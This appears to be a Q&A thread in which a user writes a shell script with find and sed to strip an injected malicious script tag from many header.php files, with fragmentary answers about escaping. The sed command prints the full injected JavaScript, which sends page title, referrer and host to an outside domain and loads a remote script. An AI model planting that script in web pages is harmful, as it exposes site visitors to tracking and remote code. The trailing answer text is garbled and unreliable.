I have a number of header.php files that have a malicious script tag contained within them (don't ask). I've written a not-so-elegant shell script to replace these with blank space. I had initially tried to subtract the payload from the header.php but this didn't seem possible as the file was not a sorted list. Below is my code:
echo 'Find all header.php files'
find -name header.php -print0 > tempheader
echo 'Remove malware script from headers'
cat tempheader | xargs -0 sed -i 's/\<script\>var a=''; setTimeout(10); var default_keyword = encodeURIComponent(document.title); var se_referrer = encodeURIComponent(document.referrer); var host = encodeURIComponent(window.location.host); var base = "http:\/\/someplacedodgy.kr\/js\/jquery.min.php"; var n_url = base + "?default_keyword=" + default_keyword + "\&se_referrer=" + se_referrer + "\&source=" + host; var f_url = base + "?c_utt=snt2014\&c_utm=" + encodeURIComponent(n_url); if (default_keyword !== null \&\& default_keyword !== '' \&\& se_referrer !== null \&\& se_referrer !== ''){document.write('\<script type="text\/javascript" src="' + f_url + '"\>' + '\<' + '\/script\>');}\<\/script\>/ /g'
The issue is that this code fails to execute with the error: sed: -e expression #1, char 578: unterminated
s' command`. My assumption is that there are unescaped characters causing this issue, I have tried escaping all <> and {}'s, however this didn't seem to help (note the <> are still escaped above).
If there is a way to input a file containing the string into sed like sed -i 's/$payload/ /g'
I have not been able to work that out yet.
printf %s\\n "$payload" | sed 's/[]/\.$^[]/\\&/g;s|.*|s/&/ /g|' | sed -f-
$payload
and transform the escaped result into ased
s///
ubstitution./
, sos|from|to|flags
instead ofs/from/to/flags
, which might help with the quoting nightmare.sed
- but that isn't a solution, it's a workaround and it's just going to screw up too. To use syntax characters literally in any language you have to quote them.